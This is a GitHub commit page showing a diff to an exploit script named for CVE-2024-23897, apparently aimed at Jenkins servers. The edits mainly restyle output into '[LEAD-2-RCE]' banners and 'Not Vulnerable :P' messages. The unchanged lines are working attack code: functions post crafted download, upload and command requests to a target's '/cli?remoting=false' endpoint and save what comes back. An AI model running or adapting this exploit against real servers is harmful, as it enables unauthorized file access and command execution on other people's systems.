Skip to content

Commit

Permalink
Update CVE-2024-23897.py
Browse files Browse the repository at this point in the history
  • Loading branch information
ThatNotEasy authored Feb 19, 2024
1 parent 86d8cf3 commit 6ae86c7
Showing 1 changed file with 9 additions and 6 deletions.
15 changes: 9 additions & 6 deletions CVE-2024-23897.py
Original file line number Diff line number Diff line change
Expand Up @@ -52,19 +52,21 @@ def donlod(self, target_info, uuid_str):
try:
headers = {"Session": uuid_str, "Side": "download"}
response = session.post(f"{target_info.scheme}://{target_info.netloc}/cli?remoting=false", headers=headers)
print(f"{FG}RESPONSE from {target_info.netloc}:{response.content}")
print(f"{FY}[LEAD-2-RCE]: {FW}{target_info.netloc} {FR}| {FG}{response.content}{Fore.RESET}")
print(f"{FR}.++===============================================================================================================++.{Fore.RESET}")
self.save_response(response.content)
except Exception as e:
print(f"{FR}Error in download request: {str(e)}")
print(f"{FY}[LEAD-2-RCE]: {FW}{target_info.netloc} {FR}| {FR}Not Vulnerable :P{Fore.RESET}")

def oplod(self, target_info, uuid_str, data):
try:
headers = {"Session": uuid_str, "Side": "upload", "Content-type": "application/octet-stream"}
response = session.post(f"{target_info.scheme}://{target_info.netloc}/cli?remoting=false", headers=headers, data=data)
print(f"{FG}RESPONSE from {target_info.netloc}:{response.content}")
print(f"{FY}[LEAD-2-RCE]: {FW}{target_info.netloc} {FR}| {FG}{response.content}")
print(f"{FR}.++===============================================================================================================++.{Fore.RESET}")
self.save_response(response.content)
except Exception as e:
print(f"{FR}Error in upload request: {str(e)}")
print(f"{FY}[LEAD-2-RCE]: {FW}{target_info.netloc} {FR}| {FR}Not Vulnerable :P{Fore.RESET}")

def save_response(self, content):
if self.output_file:
Expand All @@ -75,10 +77,11 @@ def execute_command(self, target_info, uuid_str):
try:
headers = {"Session": uuid_str, "Side": "command"}
response = session.post(f"{target_info.scheme}://{target_info.netloc}/cli?remoting=false", headers=headers, data=self.command.encode())
print(f"{FG}Command executed on {target_info.netloc}:{response.content}")
print(f"{FY}[LEAD-2-RCE]: {FW}{target_info.netloc} {FR}| {FG}{response.content}")
print(f"{FR}.++===============================================================================================================++.{Fore.RESET}")
self.save_response(response.content)
except Exception as e:
print(f"{FR}Error executing command on {target_info.netloc}: {str(e)}")
print(f"{FY}[LEAD-2-RCE]: {FW}{target_info.netloc} {FR}| {FR}Not Vulnerable :P{Fore.RESET}")

def beduk(self, target_url, file_path):
formatted_url = self.prefix_scheme(target_url)
Expand Down

0 comments on commit 6ae86c7

Please sign in to comment.